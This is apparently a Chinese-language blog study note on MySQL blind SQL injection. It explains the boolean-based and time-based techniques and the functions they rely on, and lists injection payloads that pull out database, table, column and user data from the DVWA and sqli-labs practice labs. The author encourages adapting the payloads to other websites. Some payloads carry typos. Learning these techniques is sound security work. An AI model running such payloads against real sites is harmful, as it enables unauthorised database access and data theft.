mysql 盲注查询语句_SQL注入学习笔记——盲注

概念：

如果每个应用程序都能按照我们输入的 SQL 命令返回我们需要的数据，那应用程序就无安全性可言了！为此，程序设计者们想到一个办法，那就是无论输入何种命令，只要 SQL 语句导致数据库产生错误，那么应用程序就会返回一个“通用的”的页面，或者重定向一个通用页面(可能为网站首页)。这时，回显方式的 SQL 注入办法就无法使用了。盲注，即在 SQL 注入过程中，SQL 语句执行选择后，选择的数据不能回显到前端，需要使用一些特殊的方法进行判断或尝试，这个过程称为盲注。

盲注类型：

盲注分为两类：

一、 基于布尔型 SQL 盲注；

• 基于布尔型 SQL 盲注即在 SQL 注入过程中，应用程序仅仅返回 True(页面)和 False(页面)。

• 无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到需要的信息。

二、 基于时间型 SQL 盲注；注入 SQL 代码之后，存在以下两种情况：

• 如果注入的 SQL 代码不影响后台[数据库]的正常功能执行，那么 Web 应用的页面显示正确(原始页面)。

• 如果注入的 SQL 代码影响后台数据库的正常功能(产生了 SQL 注入)，但是此时Web 应用的页面依旧显示正常(原因是 Web 应用程序采取了“重定向”或“屏蔽”措施)。

产生一个疑问：注入的 SQL 代码到底被后台数据库执行了没有？即 Web 应用程序是否存在 SQL 注入？

面对这种情况，之前讲的基于布尔的 SQL 盲注就很难发挥作用了(因为基于布尔的 SQL 盲注的前提是 Web 程序返回的页面存在 true 和 false 两种不同的页面)。这时，一般采用基于 web 应用响应时间上的差异来判断是否存在 SQL 注入，即基于时间型 SQL 盲注。

Mysql 盲注关键函数

count(column_name) 函数：函数返回指定列的值的数目

limit(m,n)函数：m 代表从 m+1 条记录行开始检索，n 代表取出 n 条数据。(m 可设为 0)

length( ) 函数：length( )函数返回文本字段中值的长度。

mid()\substr()\substring()和left()函数：这前三个函数用法基本相同，这四个都是用于截取字符串。

用法：mid\substr\substring (string,start,length)：

• string(必需)：规定要返回其中一部分的字符串。

• start(必需)：规定开始位置(起始值是 1)。

• length(可选)：要返回的字符数。如果省略，则 mid() 函数返回剩余文本。

left(string,length)函数：

• string(必需)：规定要返回其中一部分的字符串。

• length(可选)：规定被返回字符串的前 length 长度的字符。

ascii()函数：将字符转化为 ascii 码。

如果是字符串，则返回的最左字符的数值。也就是第一个字符的 ascii 值。如果字符串为空字符串。则返回 NULL，如果字符串为 NULL。 ASCII()返回数值是从 0 到 255 随机；

if()函数：逻辑判断，在基于时间型 SQL 盲注中，经常使用条件语句来判断操作是否正确。

if(expr1,expr2,expr3) 如果 expr1 为真，则 IF()函数执行 expr2 语句; 否则 IF()函数执行 expr3 语句。

这里如果条件 ascii(substr(database(),1,1))>1 成立，则执行 sleep(5),否则执行 1。

sleep()函数：延迟查询，

sleep(seconds) 即 sleep() 函数代码执行延迟若干秒。

上面：sleep(3)设置查询停留3秒，sleep函数返回值是0，查询时间为3秒。

下面：sleep(3)设置查询停留3秒，当查询逻辑错误时sleep函数不执行暂停，查询时间为0秒。结果为空。

由于 sleep()函数返回值为 0，因此执行 select user from users where user_id=1 and sleep(3)，执行能停留 3 秒，但是结果为空。

基于布尔盲注

上面已经介绍过了布尔盲注的概念了，这里直接构造语句了。实验的话可以去sqli-labs的第8关，或者去dvwa平台都可以，如果没安装的可以翻翻我前面的随笔，或者自己去百度。

下面用的是dvwa，所以在自己实际注入网站过程中自行更改。

注意：看清括号的对应关系，实际注入语句时候要注意闭合，如“--+”或者“#”之类的。

1、 判断当前数据库名长度与数据库名

and length(database())>n  //判断当前数据库长度

and ascii(substr(database(),m,1))>n   //截取数据库名第 m 个字符并转换为 ascii 码

2、 判断数据库的表长度与表名

and length((select table_name from information_schema.tables wheretable_schema='dvwa' limit 0,1))>n   //判断第一行表名的长度

and ascii(substr((select table_name from information_schema.tables wheretable_schema='dvwa' limit 0,1),m,1))>n   //截取第一行表名的第 m 个字符串并转换为ascii 码。

3、 判断数据库的字段名长度与字段名称

and length((select column_name from information_schema.columns wheretable_name='users' limit 0,1))>n //判断表中字段名的长度

and ascii(substr((select column_name from information_schema.columns wheretable_name='users' limit 0,1),m,1))>n //截取表中字段的第 m 字符串并转换为 ascii 码

4、 判断字段的内容长度与内容字符串

and length((select user from users limit 0,1))>1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串并转换为ascii码

基于时间盲注

因为盲注过于繁琐，只介绍一下语句，这里的库、表都是sqli-labs的，所以自己在注入别的网站时候自行更改。

其实我们看完之后就会发现，其实注入都是相通的，只需要改一下特定的payload就可以了。

1、判断注入类型

数值型注入：

1 and sleep(5) and 1=1  //语句正确，有查询结果，sleep()函数执行延迟 3 秒

1 and sleep(5) and 1=2  //语句错误，查询未延迟

字符串型注入：

id=1' and sleep(5) and '1'='1  //语句正确，有查询结果，sleep()函数执行延迟 3 秒

id=1' and sleep(5) and '1'='2  //语句错误，查询未延迟

2、猜解当前数据库名

id=1'  and ascii(substr(database(),m,1))>n and sleep(3)--+ 或者  id=1' and if(ascii(substr(database(),m,1)) > n, sleep(3),1)--+

这里就不解释 m和n的含义了，上面有。

3、猜解当前数据库表名

id=1'and ascii(substr((select table_name frominformation_schema.tables where table_schema=database( ) limita,1),m,1))>n and sleep(3) --+

或者

id=1' and if(ascii(substr((select table_name frominformation_schema.tables where table_schema = database() limit0,1),1,1))>1,sleep(3),1)--+

4、猜解当前数据库的字段名

id=1' and ascii(substr((select column_name frominformation_schema.columns where table_name=’users’ limita,1),m,1))>n and sleep(3)--+

5、猜解各个字段对应的内容

id=1'and ascii(substr((select username from security.users limita,1),m,1))>n and sleep(3)--+

其实盲注很少自己手工注入，一般都是用sqlmap工具跑，后面会提到。